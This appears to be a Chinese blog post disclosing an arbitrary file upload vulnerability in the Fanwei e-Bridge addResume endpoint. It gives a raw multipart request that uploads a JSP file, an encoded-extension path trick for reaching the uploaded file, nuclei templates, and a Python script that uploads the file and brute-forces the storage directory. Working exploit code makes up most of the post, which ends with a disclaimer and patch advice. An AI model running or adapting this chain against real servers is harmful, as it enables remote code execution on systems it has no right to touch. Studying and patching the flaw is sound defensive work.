泛微云桥(e-Bridge)addResume接口存在文件上传漏洞

0x00、声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。


中华人民共和国网络安全法

第二十七条 规定

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。


0x01、产品概述

泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。截止自本手册编制之日e-Bridge已实现了腾讯微信及阿里钉钉开放接口的封装,企业可以通过e-Bridge快速实现基于微信及钉钉的移动办公应用接入。对于泛微协同办公产品e-cology更是实现了可视化的配置接入。后续e-bridge将整合更多的互联网信息化资源,让企业能够更加便利的利用开放的互联网资源进行企业信息化建设。

0x02、漏洞描述:

泛微云桥(e-Bridge) /wxclient/app/recruit/resume/addResume接口处存在任意文件上传漏洞。

0x03、资产测绘

title="泛微云桥e-Bridge"

0x04、漏洞复现

4.1、数据包测试

1、POST请求包

POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: 192.168.197.166:8088
Content-Length: 361
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream

 <%
    out.println("poctest!");
%>
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream

 <%
    out.println("poctest!");
%>
------WebKitFormBoundaryD5Mawpg068t7pbxZ--

2、访问上传地址

http://192.168.197.166:8088/upload/202408/H/poc.js%70

注意:上传存放路径为  /upload/{年月}/{1/2位大写字母}/{上传的文件名}

例如:/upload/202408/H/poc.js%70

4.2、nuclei_POC测试

1、文件上传脚本

id: fanwei_upload

info:
  name: fanwei_upload
  author: kzzqwqwqwq
  severity: high
  description: fanwei_upload
  metadata:
    shodan-query: ""

requests:
- raw:
  - |-
    POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
    Host: {{Hostname}}
    Cache-Control: max-age=0
    sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    Origin: null
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: cross-site
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 422

    ------WebKitFormBoundaryD5Mawpg068t7pbxZ
    Content-Disposition: form-data; name="file"; filename="poc.jsp"
    Content-Type: application/octet-stream

     <%
        out.println("poctest!");
    %>
    ------WebKitFormBoundaryD5Mawpg068t7pbxZ
    Content-Disposition: form-data; name="file"; filename="poc.jsp"
    Content-Type: application/octet-stream

     <%
        out.println("poctest!");
    %>
    ------WebKitFormBoundaryD5Mawpg068t7pbxZ--

 2、验证脚本

id: fanwei_upload_verify

info:
  name: fanwei_upload_verify
  author: kzzqwqwqwq
  severity: high
  description: fanwei_upload
  metadata:
    shodan-query: ""

requests:
- raw:
  - |
    GET /upload/202408/{{wd}}/poc.js%70 HTTP/1.1
    Host: {{Hostname}}
  - |
    GET /upload/202408/{{wd}}/poc.%6a%73%70 HTTP/1.1
    Host: {{Hostname}}
  - |
    GET /upload/202408/{{wd}}/poc%2e%6a%73%70 HTTP/1.1
    Host: {{Hostname}}

  payloads:
    wd: zimu_1_2wd.txt

  #attack: clusterbomb

  #skip-variables-check: true
  stop-at-first-match: true
  max-redirects: 1
  matchers: 
    - type: dsl
      dsl:
       - contains(body,"poctest")  &&  status_code==200
      condition: and

 测试截图:

4.3、py脚本

import time
from urllib.request import Request, urlopen
from urllib.error import URLError, HTTPError
import datetime
import string
import sys
import requests

date = datetime.datetime.now().strftime("%Y%m")

# 生成所有可能的1或2位大写字母组合
let = [f"{a}" for a in string.ascii_uppercase] + [
    f"{a}{b}" for a in string.ascii_uppercase for b in string.ascii_uppercase
]

def verify(url0):
    url0 = f"{url0}/upload/{date}"
    poc = ["poc.js%70", "poc.%6a%73%70", "poc%2e%6a%73%70"]
    for pc in poc:
        for wd in let:
            url = f"{url0}/{wd}/{pc}"
            req = Request(url, method="GET")
            try:
                with urlopen(req) as response:
                    rep = response.read().decode()
                    if "poctest" in rep:
                        print(f"\nSuccess!!!  \nFound the vulnerability at: {url}")
                        return 1
            except HTTPError as e:
                pass  # print(f"HTTPError: {e.code} for URL: {url}")
            except URLError as e:
                pass  # print(f"URLError: {e.reason} for URL: {url}")
            except Exception as e:
                pass  # print(f"Exception: {e} for URL: {url}")
    return 0

def upload(url0, pay):
    url = f"{url0}/wxclient/app/recruit/resume/addResume?fileElementId=A"
    boundary = "----WebKitFormBoundaryD5Mawpg068t7pbxZ"
    headers = {
        "Cache-Control": "max-age=0",
        "sec-ch-ua": '(Not(A:Brand";v="8", "Chromium";v="99"',
        "sec-ch-ua-mobile": "?0",
        "sec-ch-ua-platform": "Windows",
        "Upgrade-Insecure-Requests": "1",
        "Origin": "null",
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Sec-Fetch-Site": "cross-site",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-User": "?1",
        "Sec-Fetch-Dest": "document",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close",
    }
    body = f"""------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream

 {pay}
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream

 {pay}
------WebKitFormBoundaryD5Mawpg068t7pbxZ--"""
    try:
        requests.post(url, headers=headers, data=body, timeout=15)
    except requests.exceptions.RequestException as e1:
        pass
    # print(rep)


def poc(url):
    pay = "poctest!"
    upload(url, pay)
    time.sleep(2)
    if verify(url):
        return 1
    return 0


if __name__ == "__main__":
    url = "http://192.168.197.166:8088"
    pay = "poctest!"
    upload(url, pay)
    time.sleep(2)
    verify(url)

0x05、修复建议

临时缓解方案

1.白名单检查文件扩展名

2.上传文件的存储目录禁用执行权限

3.内容检测要求

4.隐藏上传文件路径

升级修复方案

官方已发布新版本修复漏洞,建议尽快访问官网或联系官方售后支持获取版本升级安装包或补丁。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值